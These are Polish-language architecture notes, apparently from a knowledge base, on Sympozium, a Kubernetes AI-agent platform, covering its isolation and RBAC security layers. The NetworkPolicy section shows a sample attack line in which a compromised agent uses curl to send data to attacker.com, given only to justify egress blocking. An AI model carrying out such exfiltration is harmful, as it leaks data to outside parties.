Powiązane: [[Model efemerycznych agentów]] | [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]]

View File

@@ -0,0 +1,101 @@
# PersonaPacks - zespoły agentów
#sympozium #agenty #personapack #teams
## Koncepcja
PersonaPacks implementują wzorzec **"AI Team as Code"** - deklarujesz cały zespół agentów w jednym CRD, controller realizuje intent.
## Od pojedynczego agenta do zespołu
### Bez PersonaPacks (ręcznie):
```
Per agent trzeba stworzyć:
1. Secret (klucz API)
2. SympoziumInstance (konfiguracja)
3. SympoziumSchedule (harmonogram)
4. ConfigMap memory (początkowa pamięć)
Dla 7 agentów = 28 zasobów K8s ręcznie
```
### Z PersonaPacks:
```
1. Wybierz pack w TUI
2. Podaj klucz API
3. Done - 28 zasobów stworzonych automatycznie
```
## Wzorzec "stamp out"
PersonaPack controller działa jak **operator pattern**:
```
PersonaPack (desired state)
PersonaPackReconciler:
for each persona in spec.personas:
if persona.name not in spec.excludePersonas:
├── createOrUpdate SympoziumInstance
│ ├── Name: <pack>-<persona>
│ ├── Channels: z channelConfigs
│ ├── Skills: z persona.skills
│ ├── AuthRefs: z pack.authRefs
│ └── Policy: z pack.policyRef
├── createOrUpdate SympoziumSchedule (jeśli persona.schedule)
│ ├── Cron: z interval → cron conversion
│ ├── Task: persona.schedule.task (z taskOverride prepend)
│ └── IncludeMemory: true
└── createOrUpdate ConfigMap memory (jeśli persona.memory)
└── Seeds: persona.memory.seeds
```
## Przykład: developer-team
Pack `developer-team` tworzy **7 współpracujących agentów**:
| Agent | Rola | Schedule | Skills |
|-------|------|----------|--------|
| Tech Lead | Planowanie, architektura | Co 1h | github-gitops |
| Backend Dev | Implementacja backend | Co 30m | github-gitops, k8s-ops |
| Frontend Dev | Implementacja frontend | Co 30m | github-gitops |
| QA Engineer | Testowanie | Co 45m | github-gitops |
| Code Reviewer | Code review | Co 20m | github-gitops |
| DevOps Engineer | CI/CD, infra | Co 1h | github-gitops, k8s-ops |
| Docs Writer | Dokumentacja | Co 2h | github-gitops |
Wszystkie te agenty:
- Współdzielą repo (via skill params)
- Mają własną pamięć (memory seeds specyficzne per rola)
- Działają na harmonogramach (heartbeats)
- Mają osobne RBAC per run
## Lifecycle zarządzania
```
Install pack → TUI wizard
Activate (set authRefs) → Controller stampuje
Running → Agenty działają wg scheduli
Exclude persona → Controller usuwa zasoby tego agenta
Delete pack → ownerReferences → K8s GC czyści WSZYSTKO
```
## Konfiguracja globalna vs per-persona
| Ustawienie | Poziom pack | Poziom persona |
|------------|-------------|----------------|
| AuthRefs | Tak (wspólne) | Nie |
| Model | Tak (default) | Tak (override) |
| Skills | Nie | Tak |
| Channels | Tak (channelConfigs) | Tak (channels list) |
| Policy | Tak (policyRef) | Nie (dziedziczy) |
| Task Override | Tak (prepend do scheduli) | Nie |
| Agent Sandbox | Tak (dla wszystkich) | Nie |
---
Powiązane: [[PersonaPack]] | [[SympoziumInstance]] | [[Scheduled Tasks - heartbeaty i swepy]]

View File

@@ -0,0 +1,105 @@
# Scheduled Tasks - heartbeaty i swepy
#sympozium #agenty #scheduling
## Koncepcja
Sympozium traktuje **agentów jak CronJob'y** - mogą być uruchamiane cyklicznie bez interwencji użytkownika. To enabler dla scenariuszy DevOps/SRE.
## Typy scheduli
| Typ | Cel | Typowy interwał | Przykład |
|-----|-----|-----------------|---------|
| **heartbeat** | Regularne sprawdzanie stanu | 5-30 min | "Sprawdź czy wszystkie pody są healthy" |
| **scheduled** | Zaplanowane zadania | 1-24h | "Poranny raport z kosztów klastra" |
| **sweep** | Przeglądy i cleanup | 1-7 dni | "Znajdź i zgłoś nieużywane PVC" |
## Self-scheduling
Wyjątkowa cecha: **agenty mogą same zarządzać swoimi schedulami**:
```
Agent dostaje task: "Monitor klaster"
Agent decyduje: "Powinienem sprawdzać co 15 minut"
Agent wywołuje tool: schedule_task(
action: "create",
schedule: "*/15 * * * *",
task: "Sprawdź stan podów w namespace production"
)
/ipc/schedules/create.json → IPC Bridge → NATS: schedule.upsert
Schedule Router → tworzy SympoziumSchedule CRD
SympoziumSchedule Controller → tworzy AgentRun co 15 min
```
Agent może też: update, suspend, resume, delete swoje schedules.
## Concurrency control
```yaml
spec:
concurrencyPolicy: Forbid # Nie twórz nowego jeśli poprzedni działa
```
| Polityka | Zachowanie | Use case |
|----------|------------|----------|
| **Forbid** | Pomiń trigger jeśli run active | Health checks (nie chcemy pile-up) |
| **Allow** | Twórz nowy niezależnie | Niezależne analizy |
| **Replace** | Anuluj stary, twórz nowy | Real-time monitoring |
## Memory context
```yaml
spec:
includeMemory: true # Inject MEMORY.md do każdego runu
```
Dzięki temu scheduled run:
1. Czyta pamięć z poprzednich runów
2. Kontynuuje od miejsca gdzie skończył
3. Buduje kontekst między uruchomieniami
Przykład: agent monitorujący w heartbeat co 30 min:
- Run 1: "Wykryłem 3 restarty poda X"
- Memory: "Pod X ma problem z restartami (3 do tej pory)"
- Run 2: "Pamięć mówi o restartach poda X. Sprawdzam - już 7 restartów. Eskalaruję."
## Przykład z PersonaPack
```yaml
personas:
- name: sre-watchdog
schedule:
type: heartbeat
interval: "5m"
task: |
Check cluster health:
- Pod restarts > 3
- Node conditions
- PVC usage > 80%
Report and create issues for anomalies.
memory:
enabled: true
seeds:
- "Track repeated issues for trend analysis"
- "Escalate if same issue persists > 3 checks"
```
## Architektoniczne znaczenie
Scheduled tasks transformują Sympozium z "narzędzia do chatowania z AI" w **autonomiczną platformę operacyjną**:
- Agenty działają 24/7 bez ludzkiej interwencji
- Budują pamięć i kontekst
- Mogą eskalować do ludzi (via kanały)
- Mogą same modyfikować swoje harmonogramy
To "sel-healing infrastructure" driven by AI.
---
Powiązane: [[SympoziumSchedule]] | [[Persistent Memory]] | [[PersonaPacks - zespoły agentów]]

View File

@@ -0,0 +1,144 @@
# Skill Sidecars i auto-RBAC
#sympozium #agenty #skills #rbac #security
## Koncepcja
Skill Sidecars to **najważniejsza innowacja bezpieczeństwa** Sympozium. Zamiast dawać agentowi bezpośredni dostęp do kubectl/helm/git, narzędzia uruchamiane są w **oddzielnym kontenerze z własnym, efemerycznym RBAC**.
## Dlaczego to ważne?
### Problem: In-process tool execution
W frameworkach jak kagent/LangChain, narzędzia działają w tym samym procesie co agent:
```
Agent (z credentials) → tool call → kubectl (z credentials agenta)
```
Jeśli LLM zostanie "przekonany" do złośliwego tool call, ma pełne uprawnienia procesu.
### Rozwiązanie: Sidecar isolation
```
Agent (BEZ credentials) → /ipc/tools/*.json → IPC Bridge → NATS
→ Skill Sidecar (z WŁASNYMI, scoped credentials) → kubectl
```
Agent **nigdy nie posiada** credentials do K8s API. Tylko sidecar je ma, i to z least-privilege RBAC.
## Mechanizm
### 1. Deklaracja RBAC w SkillPack
```yaml
# SkillPack CRD
spec:
sidecar:
rbac: # Namespace-scoped
- apiGroups: ["", "apps"]
resources: ["pods", "deployments"]
verbs: ["get", "list", "watch"]
clusterRBAC: # Cluster-scoped
- apiGroups: [""]
resources: ["nodes"]
verbs: ["get", "list"]
```
### 2. Auto-provisioning przy starcie AgentRun
```
AgentRun Pending:
Controller czyta SkillPack RBAC declarations
Tworzy:
├── ServiceAccount: sympozium-agent (w namespace runu)
├── Role: agentrun-<name>-<skill>
│ └── rules: [z SkillPack rbac]
├── RoleBinding: agentrun-<name>-<skill>
│ └── roleRef → Role, subject → ServiceAccount
├── ClusterRole: agentrun-<name>-<skill>
│ └── rules: [z SkillPack clusterRBAC]
└── ClusterRoleBinding: agentrun-<name>-<skill>
└── roleRef → ClusterRole, subject → ServiceAccount
```
### 3. Garbage collection po zakończeniu
```
AgentRun Succeeded/Failed:
Namespace RBAC:
└── Automatyczne via ownerReference → AgentRun
(K8s GC czyści gdy AgentRun usunięty)
Cluster RBAC:
└── Controller szuka po labelach:
sympozium.ai/agentrun: <name>
→ Delete ClusterRole
→ Delete ClusterRoleBinding
```
## Lifecycle RBAC
```
AgentRun created
[RBAC created] ← credentials istnieją
Agent pod running - sidecar używa credentials
AgentRun completed
[RBAC deleted] ← credentials nie istnieją
```
**Czas życia credentials = czas życia AgentRun** - to odpowiednik temporary IAM session credentials w AWS.
## Secret mirroring
Jeśli SkillPack referencjonuje Secret (np. GH_TOKEN):
```
Secret w sympozium-system → Kopia w namespace AgentRun
→ Montowany w sidecarze pod /secrets/<name>/
→ Usuwany po zakończeniu
```
## Parametryzacja
Ten sam SkillPack może być konfigurowany inaczej per instancja:
```yaml
# Instance A
skills:
- skillPackRef: github-gitops
params:
REPO: team-a/repo-a
# Instance B
skills:
- skillPackRef: github-gitops
params:
REPO: team-b/repo-b
```
Params → env vars `SKILL_REPO` w sidecarze.
## Architektura bezpieczeństwa
```
┌─────────────────────────────────┐
│ Agent Pod │
│ │
│ ┌──────────┐ ┌──────────────┐ │
│ │ Agent │ │ Skill Sidecar│ │
│ │ │ │ │ │
│ │ BEZ K8s │ │ Z RBAC: │ │
│ │ credentials│ │ - Role │ │
│ │ │ │ - Binding │ │
│ │ /ipc → │ │ - SA token │ │
│ └──────────┘ └──────────────┘ │
│ │ ↑ │
│ └──── IPC ─────┘ │
└─────────────────────────────────┘
```
---
Powiązane: [[Efemeryczny RBAC per-run]] | [[SkillPack]] | [[Model bezpieczeństwa Defence-in-Depth]]

View File

@@ -0,0 +1,68 @@
# Sub-agenty i hierarchia
#sympozium #agenty #sub-agents
## Koncepcja
Sympozium wspiera **hierarchiczne spawning sub-agentów** - agent może tworzyć kolejne AgentRun CRs, które stają się jego "dziećmi".
## Konfiguracja
```yaml
# W SympoziumInstance
spec:
agents:
default:
subagents:
maxDepth: 2 # Max zagnieżdżenie (parent → child → grandchild)
maxConcurrent: 5 # Max równoległych agent runów w drzewie
maxChildrenPerAgent: 3 # Max dzieci per agent
```
## Mechanizm
```
Parent AgentRun
├── spec.parent: null
├── Tworzy child AgentRun:
│ spec:
│ parent:
│ runName: parent-run
│ sessionKey: parent-session
│ spawnDepth: 1
│ ↓
│ └── Child AgentRun
│ ├── Tworzy grandchild:
│ │ spec.parent.spawnDepth: 2
│ │ ↓
│ │ └── Grandchild AgentRun
│ │ └── maxDepth=2 → NIE może tworzyć dalej
│ └── Child może mieć max 3 siblings (maxChildrenPerAgent)
└── Parent czeka na wyniki children
```
## Policy enforcement
`SubagentPolicySpec` w [[SympoziumPolicy]] enforcuje limity:
- `maxDepth: 3` - admission webhook odrzuca AgentRun z spawnDepth > 3
- `maxConcurrent: 5` - controller sprawdza ile runów jest aktywnych
## Use case
Sub-agenty umożliwiają **divide-and-conquer** workflows:
```
"Zoptymalizuj klaster" (parent)
├── "Sprawdź zużycie CPU per namespace" (child 1)
├── "Sprawdź zużycie pamięci per namespace" (child 2)
└── "Sprawdź nieużywane PVC" (child 3)
```
Każdy child to osobny Job z własnym RBAC, izolacją i lifecycle.
## Śledzenie
Env var `SPAWN_DEPTH` mówi agentowi na jakiej głębokości jest. Agent może podejmować decyzje na tej podstawie (np. nie tworzyć sub-agentów jeśli jest już głęboko).
---
Powiązane: [[AgentRun]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]

View File

@@ -0,0 +1,83 @@
# Tryb Server vs Task
#sympozium #agenty #server-mode
## Dwa tryby wykonania
### Task mode (default)
- Kubernetes **Job** - run-to-completion
- Pod istnieje tylko przez czas wykonania
- Garbage collection po zakończeniu
- Dla: one-shot tasks, scheduled runs, channel messages
### Server mode
- Kubernetes **Deployment + Service**
- Pod żyje długo
- Nie jest usuwany po "zakończeniu"
- Dla: web endpoints, long-running services
## Kiedy server mode?
Server mode aktywowany gdy:
1. `AgentRun.spec.mode = "server"` (jawnie ustawione)
2. SkillPack ma `sidecar.requiresServer = true`
Typowy use case: **web-endpoint** skill, który eksponuje agenta jako HTTP API.
## Architektura server mode
```
SympoziumInstance z skill "web-endpoint"
Instance Reconciler → tworzy AgentRun (mode: server)
AgentRun Reconciler → reconcilePendingServer():
1. Deployment (zamiast Job)
2. Service (ClusterIP)
3. HTTPRoute (Envoy Gateway, jeśli dostępny)
4. Auto-generated API key (Secret)
Web Proxy Sidecar:
- /v1/chat/completions (OpenAI-compat)
- /sse, /message (MCP protocol)
- Rate limiting
- Auth via API key
```
## Przepływ request'u w server mode
```
HTTP Client → Gateway → HTTPRoute → Service → Web Proxy Pod
Web Proxy tworzy per-request AgentRun (mode: task!)
Normalny flow: Job → Agent → wynik → Web Proxy → HTTP Response
```
Kluczowe: web proxy sidecar sam działa w server mode, ale **każdy request to osobny task-mode AgentRun** - zachowujemy ephemeral model dla izolacji.
## Reconciliation server mode
`reconcileServing()` (zamiast reconcileRunning):
- Sprawdza Deployment health
- Sprawdza Service health
- Reconciliuje HTTPRoute
- Requeue co 30 sekund
`reconcileDelete()` dla server mode:
- Delete Deployment
- Delete Service
- Delete HTTPRoute
- Delete API key Secret
## Faza Serving
```
AgentRun phases:
Pending → Serving (nie Running!)
Serving (długo) → Succeeded (gdy usunięty)
```
---
Powiązane: [[Web Endpoints - OpenAI-compat API]] | [[Cykl życia AgentRun]] | [[Model efemerycznych agentów]]

View File

@@ -0,0 +1,69 @@
# Admission Webhooks i polityki
#sympozium #security #admission #webhook
## Koncepcja
Polityki Sympozium są enforcowane **at admission time** - przed utworzeniem poda, nie at runtime. To gwarantuje że żaden AgentRun nie ominie polityki.
## Przepływ
```
kubectl apply -f agentrun.yaml
K8s API Server → Admission Webhook
Webhook:
1. Odczytuje policyRef z SympoziumInstance
2. Ładuje SympoziumPolicy
3. Sprawdza:
├── Sandbox requirements (required? image? resources?)
├── Agent Sandbox requirements (runtime class allowed?)
├── Tool gating (allow/deny/ask per tool)
├── Feature gates (memory? web-endpoint? channels?)
├── Subagent limits (maxDepth? maxConcurrent?)
└── Network policy rules
4. ALLOW → AgentRun created
DENY → AgentRun rejected z clear error message
```
## Kluczowe różnice vs runtime enforcement
| Aspekt | Admission-time | Runtime |
|--------|---------------|---------|
| Timing | Przed tworzeniem zasobu | Po uruchomieniu |
| Obejście | Niemożliwe (K8s API layer) | Możliwe (process-level) |
| Feedback | Natychmiast (synchroniczny) | Opóźniony (async) |
| Overhead | Tylko przy tworzeniu | Ciągły monitoring |
## Tool Gating
```yaml
toolGating:
defaultAction: deny
rules:
- tool: read_file
action: allow
- tool: execute_command
action: deny
- tool: write_file
action: ask # Human-in-the-loop
```
Trzy akcje:
- `allow` - tool dozwolony
- `deny` - tool zablokowany (webhook reject)
- `ask` - wymaga human approval (future feature)
## Presetowe polityki
```
config/policies/
├── permissive.yaml # Dev/demo: all allowed
├── default.yaml # General: execute_command requires approval
└── restrictive.yaml # Production: deny-by-default, whitelist
```
---
Powiązane: [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[Efemeryczny RBAC per-run]]

View File

@@ -0,0 +1,108 @@
# Agent Sandbox - gVisor i Kata
#sympozium #security #sandbox #gvisor #kata
## Koncepcja
Agent Sandbox to **opcjonalna warstwa izolacji na poziomie kernela** integrująca `kubernetes-sigs/agent-sandbox`. Zamiast tworzenia [[Job]], [[Controller i Reconciler|controller]] tworzy Sandbox CR (patrz [[CRD - Custom Resource Definition|CRD]]).
## Porównanie
| Cecha | Default (Job) | Agent Sandbox |
|-------|---------------|---------------|
| Izolacja | Container (cgroups, namespaces) | Kernel-level |
| [[gVisor]] | Nie | Tak - user-space kernel |
| [[Kata Containers\|Kata]] | Nie | Tak - lightweight VM |
| Cold start | 5-30s | Warm pools: ~1s |
| Lifecycle | Run-to-completion | Suspend/resume |
| Identity | Ephemeral pod name | Stable hostname |
| Overhead | Niski | gVisor ~5-10%, Kata ~VM |
## Architektura
```
AgentRun (agentSandbox.enabled: true)
├── Normalny flow: Controller → Sandbox CR
│ └── spec.podTemplate = ten sam co Job
│ └── spec.runtimeClassName: gvisor/kata
│ └── ownerReference → AgentRun
└── Z warm pool: Controller → SandboxClaim
└── Claims pre-warmed sandbox z SandboxWarmPool
```
## Warm Pools
Eliminują cold start:
```
Bez warm pool:
AgentRun → Sandbox CR → Pod scheduled → Image pulled → Ready
(~5-30 sekund)
Z warm pool:
AgentRun → SandboxClaim → Pre-warmed sandbox → Ready
(~1 sekunda)
```
### Konfiguracja
```yaml
# SympoziumInstance
spec:
agents:
default:
agentSandbox:
enabled: true
warmPool:
size: 3 # 3 pre-warmed sandboxes
runtimeClass: gvisor
```
Controller automatycznie tworzy SandboxWarmPool CR.
## Policy enforcement
```yaml
# SympoziumPolicy
spec:
sandboxPolicy:
agentSandboxPolicy:
required: true # WYMUSZAJ agent-sandbox
defaultRuntimeClass: gvisor
allowedRuntimeClasses: [gvisor, kata] # Whitelist runtimes
```
## Komplementarność z innymi warstwami
Agent Sandbox **uzupełnia** istniejące zabezpieczenia:
| Warstwa | Aktywna z Agent Sandbox? |
|---------|--------------------------|
| NetworkPolicy deny-all | Tak |
| Pod SecurityContext | Tak |
| SympoziumPolicy webhook | Tak |
| Ephemeral skill RBAC | Tak |
| Seccomp profile | Tak |
| **+ Kernel isolation** | **NOWE** |
## Graceful degradation
| Scenariusz | Zachowanie |
|------------|------------|
| Disabled w Helm | Zero code paths, zero overhead |
| Enabled, CRDs not installed | Warning log, feature disabled |
| Enabled, CRDs installed, no gVisor | Sandbox CRs work, no kernel isolation |
| Fully configured | Full kernel-level isolation |
## Mutual exclusivity
Dwa koncepty "sandbox":
- `sandbox.enabled` → sidecar container (stary)
- `agentSandbox.enabled` → Sandbox CR (nowy, kernel-level)
Nie mogą być oba włączone - webhook to enforcuje.
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]

View File

@@ -0,0 +1,77 @@
# Efemeryczny RBAC per-run
#sympozium #security #rbac
## Koncepcja
Odpowiednik **temporary IAM session credentials** w Kubernetes (patrz [[RBAC]] dla wyjaśnienia systemu). Credentials istnieją TYLKO przez czas trwania AgentRun.
## Lifecycle
```
AgentRun CREATED
Controller tworzy:
├── Role (namespace-scoped)
│ ├── ownerRef → AgentRun
│ └── rules: [z SkillPack.sidecar.rbac]
├── RoleBinding
│ ├── ownerRef → AgentRun
│ └── subject → ServiceAccount "sympozium-agent"
├── ClusterRole (cluster-scoped)
│ ├── labels: sympozium.ai/agentrun: <name>
│ └── rules: [z SkillPack.sidecar.clusterRBAC]
└── ClusterRoleBinding
├── labels: sympozium.ai/agentrun: <name>
└── subject → ServiceAccount "sympozium-agent"
[CREDENTIALS ACTIVE - sidecar can use them]
AgentRun COMPLETED
Controller czyści:
├── Namespace RBAC → auto via ownerReference (K8s GC)
└── Cluster RBAC → manual via label selector (controller)
[CREDENTIALS DELETED - no standing access]
```
## Dlaczego nie standing role?
### Problem standing god-role:
```
ServiceAccount z cluster-admin → ZAWSZE ma pełne uprawnienia
→ Compromised pod = pełny dostęp do klastra
→ Brak auditu "kto kiedy co robił"
```
### Ephemeral RBAC:
```
Run #1: Role [get pods] → exists for 30s → deleted
Run #2: Role [get deployments] → exists for 45s → deleted
→ Credentials istnieją minimum possible time
→ Każdy run ma TYLKO te uprawnienia które potrzebuje
→ Pełny audit trail (RBAC resources w etcd)
```
## Controller privilege
Controller sam potrzebuje `cluster-admin` bo:
- Tworzy dowolne Role/ClusterRole (definiowane w SkillPacks)
- K8s RBAC escalation prevention wymaga tego
- To jedyny komponent z takimi uprawnieniami
## Namespace vs Cluster scope
| Typ | Mechanizm cleanup | Scope |
|-----|-------------------|-------|
| Role + RoleBinding | ownerReference → AgentRun | Namespace |
| ClusterRole + ClusterRoleBinding | Label selector → controller cleanup | Cluster |
[[Namespace]]-scoped RBAC jest automatycznie garbage-collected przez K8s gdy AgentRun jest usunięty ([[ownerReference|ownerRef]] chain).
Cluster RBAC nie może mieć cross-namespace ownerRef (ograniczenie K8s - patrz [[ownerReference]]), więc [[Controller i Reconciler|controller]] czyści ręcznie po labelach.
---
Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[SkillPack]]

View File

@@ -0,0 +1,112 @@
# Model bezpieczeństwa Defence-in-Depth
#sympozium #security #defence-in-depth
## Filozofia
Sympozium implementuje **defence-in-depth** - wiele niezależnych warstw bezpieczeństwa, gdzie przełamanie jednej nie daje dostępu do systemu.
## Warstwy bezpieczeństwa
```
┌───────────────────────────────────────────────┐
│ Warstwa 7: Agent Sandbox (gVisor/Kata) │ ← Izolacja kernela
│ ┌───────────────────────────────────────────┐│
│ │ Warstwa 6: NetworkPolicy (deny-all) ││ ← Izolacja sieciowa
│ │ ┌───────────────────────────────────────┐││
│ │ │ Warstwa 5: Admission Webhook │││ ← Walidacja przed tworzeniem
│ │ │ ┌───────────────────────────────────┐│││
│ │ │ │ Warstwa 4: Ephemeral RBAC ││││ ← Efemeryczne credentials
│ │ │ │ ┌───────────────────────────────┐││││
│ │ │ │ │ Warstwa 3: Pod SecurityContext │││││ ← Hardened container
│ │ │ │ │ ┌───────────────────────────┐│││││
│ │ │ │ │ │ Warstwa 2: Sidecar isol. ││││││ ← Separacja credentials
│ │ │ │ │ │ ┌───────────────────────┐│││││││
│ │ │ │ │ │ │ Warstwa 1: Ephemeral ││││││││ ← Krótki czas życia
│ │ │ │ │ │ │ pod lifecycle ││││││││
│ │ │ │ │ │ └───────────────────────┘│││││││
│ │ │ │ │ └───────────────────────────┘││││││
│ │ │ │ └───────────────────────────────┘│││││
│ │ │ └───────────────────────────────────┘││││
│ │ └───────────────────────────────────────┘│││
│ └───────────────────────────────────────────┘││
└───────────────────────────────────────────────┘│
Multi-tenancy (namespaced CRDs + K8s RBAC) ─────┘
```
## Szczegóły warstw
### Warstwa 1: Ephemeral [[Pod]] Lifecycle
- Każdy run = nowy pod = czyste środowisko
- Brak persistent state w podzie
- Automatyczny cleanup po zakończeniu
- **Atak musi się zmieścić w jednym runie**
### Warstwa 2: [[Sidecar Pattern|Sidecar]] Isolation
- Agent NIE MA credentials K8s API
- Tylko skill sidecar ma [[RBAC]]
- Tool calls przechodzą przez IPC (filesystem → NATS)
- **Compromised agent nie ma bezpośredniego dostępu do klastra**
### Warstwa 3: Pod [[SecurityContext]]
```yaml
securityContext:
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
seccompProfile:
type: RuntimeDefault
```
### Warstwa 4: Ephemeral [[RBAC]]
- Credentials żyją TYLKO przez czas runu
- Least-privilege (deklarowane w SkillPack)
- [[Namespace]]-scoped ([[ownerReference|ownerRef]] GC) + Cluster-scoped (label-based cleanup)
- **Brak standing god-role**
### Warstwa 5: [[Admission Webhook]]
- `SympoziumPolicy` enforced PRZED tworzeniem poda
- Tool gating (allow/deny/ask per tool)
- Sandbox requirements
- Feature gates
- **Policy nie może być obejścia at runtime**
### Warstwa 6: [[NetworkPolicy]]
- Deny-all egress na agent pods
- Tylko IPC bridge ma dostęp do NATS
- Whitelist konkretnych endpointów (API providerów)
- **Agent nie może sięgnąć do internetu ani innych podów**
### Warstwa 7: Agent Sandbox (opcjonalna)
- [[gVisor]]: user-space kernel - agent nie komunikuje się z host kernel
- [[Kata Containers|Kata]]: lightweight VM - pełna izolacja na poziomie hypervisora
- Warm pools eliminują cold-start penalty
- **Nawet container escape nie daje dostępu do hosta**
## Multi-tenancy
Dodatkowa warstwa ortogonalna do powyższych:
- CRDs namespace-scoped
- Standard K8s RBAC kontroluje kto tworzy agentów
- Każdy tenant (SympoziumInstance) izolowany
- ownerReferences zapobiegają cross-tenant access
## Porównanie z alternatywami
| Warstwa | Sympozium | kagent | LangChain |
|---------|-----------|--------|-----------|
| Ephemeral lifecycle | Job per run | Persistent engine | In-process |
| Sidecar isolation | Tak | Nie | Nie |
| SecurityContext | Hardened | Standard | N/A |
| Ephemeral RBAC | Tak | Standing SA | N/A |
| Admission webhook | SympoziumPolicy | Nie | Nie |
| NetworkPolicy | deny-all | Nie | Nie |
| Kernel sandbox | gVisor/Kata | Nie | Nie |
---
Powiązane: [[Agent Sandbox - gVisor i Kata]] | [[Efemeryczny RBAC per-run]] | [[NetworkPolicy i izolacja sieciowa]]

View File

@@ -0,0 +1,76 @@
# NetworkPolicy i izolacja sieciowa
#sympozium #security #network
## Zasada
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
## Implementacja
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: agent-deny-all
spec:
podSelector:
matchLabels:
sympozium.ai/component: agent
policyTypes:
- Egress
egress: [] # DENY ALL
```
## Wyjątki (via SympoziumPolicy)
```yaml
networkPolicy:
denyAll: true
allowDNS: true # Agent może rozwiązywać nazwy
allowEventBus: true # IPC Bridge → NATS
allowedEgress: # Whitelist
- host: "api.openai.com"
port: 443
```
## Dlaczego to ważne?
### Scenariusz ataku bez NetworkPolicy:
```
Compromised agent → curl attacker.com → exfiltrate data
Compromised agent → curl internal-api.svc → lateral movement
```
### Z NetworkPolicy:
```
Compromised agent → curl anything → BLOCKED
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
```
## Architektura izolacji
```
┌─────────────────────────────────────────┐
│ Agent Pod (deny-all egress) │
│ │
│ ┌──────────┐ ┌──────────────┐ │
│ │ Agent │ │ IPC Bridge │→→→ NATS │
│ │ (no net)│ │ (has net) │ │
│ └──────────┘ └──────────────┘ │
│ │ │
│ └── /ipc/ (filesystem only) ──────┘│
└──────────────────────────────────────────┘
```
Agent kontener:
- Brak dostępu sieciowego
- Komunikacja tylko przez filesystem (/ipc/)
IPC Bridge sidecar:
- Ma dostęp TYLKO do NATS
- Bridguje filesystem → NATS
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]

View File

@@ -0,0 +1,105 @@
# Kanały - Telegram, Slack, Discord, WhatsApp
#sympozium #komunikacja #channels
## Architektura
Każdy kanał to **dedykowany Kubernetes Deployment** - osobny pod, osobny lifecycle, osobne credentials.
```
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Telegram │ │ Slack │ │ Discord │ │ WhatsApp │
│ Deployment │ │ Deployment │ │ Deployment │ │ Deployment │
│ │ │ Socket Mode │ │ │ │ + PVC │
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘
│ │ │ │
└────────────────┴─────────────────┴────────────────┘
NATS JetStream
Channel Router
AgentRun Controller
```
## Przepływ wiadomości
```
Użytkownik → Telegram
Channel Pod: telegram/main.go
NATS: channel.message.received
payload: {
instanceName: "my-agent",
channelType: "telegram",
senderID: "123456",
chatID: "789",
text: "Sprawdź stan klastra"
}
Channel Router:
1. Lookup SympoziumInstance
2. Access control check (allowedSenders, deniedSenders)
3. Tworzy AgentRun CR z task = text wiadomości
AgentRun → Job → Agent → wynik
NATS: channel.message.send
Channel Pod → Telegram → Użytkownik
```
## Kanały
| Kanał | Obraz | Specyfika |
|-------|-------|-----------|
| Telegram | `channel-telegram` | Bot API |
| Slack | `channel-slack` | Socket Mode + Events API |
| Discord | `channel-discord` | Bot API |
| WhatsApp | `channel-whatsapp` | QR pairing + PVC dla persistence |
### WhatsApp - specjalny przypadek
- Wymaga PVC dla credential persistence (QR link przetrwa restart)
- Strategy: Recreate (nie RollingUpdate, bo RWO PVC)
- ConfigRef opcjonalny (auth via QR, nie secret)
## Konfiguracja
```yaml
# W SympoziumInstance
spec:
channels:
- type: telegram
configRef:
secret: telegram-bot-token
accessControl:
allowedSenders: ["user123"]
deniedSenders: ["spammer456"]
allowedChats: ["group789"]
denyMessage: "You are not authorized."
```
## Reconciliation
`SympoziumInstanceReconciler.reconcileChannels()`:
1. Dla każdego kanału w spec:
- Waliduje istnienie secretu
- Tworzy/aktualizuje Deployment
- Raportuje status (Connected/Disconnected/Error)
2. Deployment tworzony z:
- Image: `channel-<type>:<tag>`
- Env: INSTANCE_NAME, EVENT_BUS_URL, OTEL_*
- EnvFrom: secret z credentials kanału
## Access Control
Wielowarstwowy:
1. `allowedSenders` - whitelist (jeśli set, TYLKO ci nadawcy)
2. `deniedSenders` - blacklist (nadpisuje whitelist)
3. `allowedChats` - whitelist chat/group IDs
4. `denyMessage` - wiadomość dla odrzuconych (lub cichy drop)
---
Powiązane: [[SympoziumInstance]] | [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]]

View File

@@ -0,0 +1,85 @@
# MCP Servers - Model Context Protocol
#sympozium #komunikacja #mcp
## Koncepcja
MCP (Model Context Protocol) to protokół umożliwiający **rozszerzanie możliwości agentów** o zewnętrzne narzędzia. Sympozium integruje MCP jako first-class citizen z pełnym lifecycle management.
## Architektura
```
MCPServer CRD → Controller
├── Managed: Deploy + Service + probe tools
└── External: Just probe tools
SympoziumInstance.mcpServers[] → reference MCPServer
AgentRun → Reconciler:
1. Resolve MCPServer URLs (status.url)
2. Create MCP ConfigMap (server configs)
3. Add mcp-bridge sidecar to pod
Agent Pod:
┌──────────┐ ┌──────────────┐ ┌──────────────┐
│ Agent │──│ MCP Bridge │──│ MCP Server │
│ │ │ Sidecar │ │ (remote) │
│ gh_* │ │ Translates: │ │ │
│ tools │ │ tool call → │ │ GitHub API │
│ │ │ MCP protocol│ │ │
└──────────┘ └──────────────┘ └──────────────┘
```
## Tool namespacing
Problem: wiele MCP serwerów może mieć tool o tej samej nazwie.
Rozwiązanie: **toolsPrefix** - każde narzędzie z danego serwera dostaje prefix:
```
GitHub MCP (prefix: gh) → gh_create_issue, gh_list_repos
Jira MCP (prefix: jira) → jira_create_ticket, jira_search
Slack MCP (prefix: sl) → sl_send_message, sl_list_channels
```
## Tool filtering
```yaml
toolsAllow: [create_issue] # TYLKO te narzędzia (whitelist)
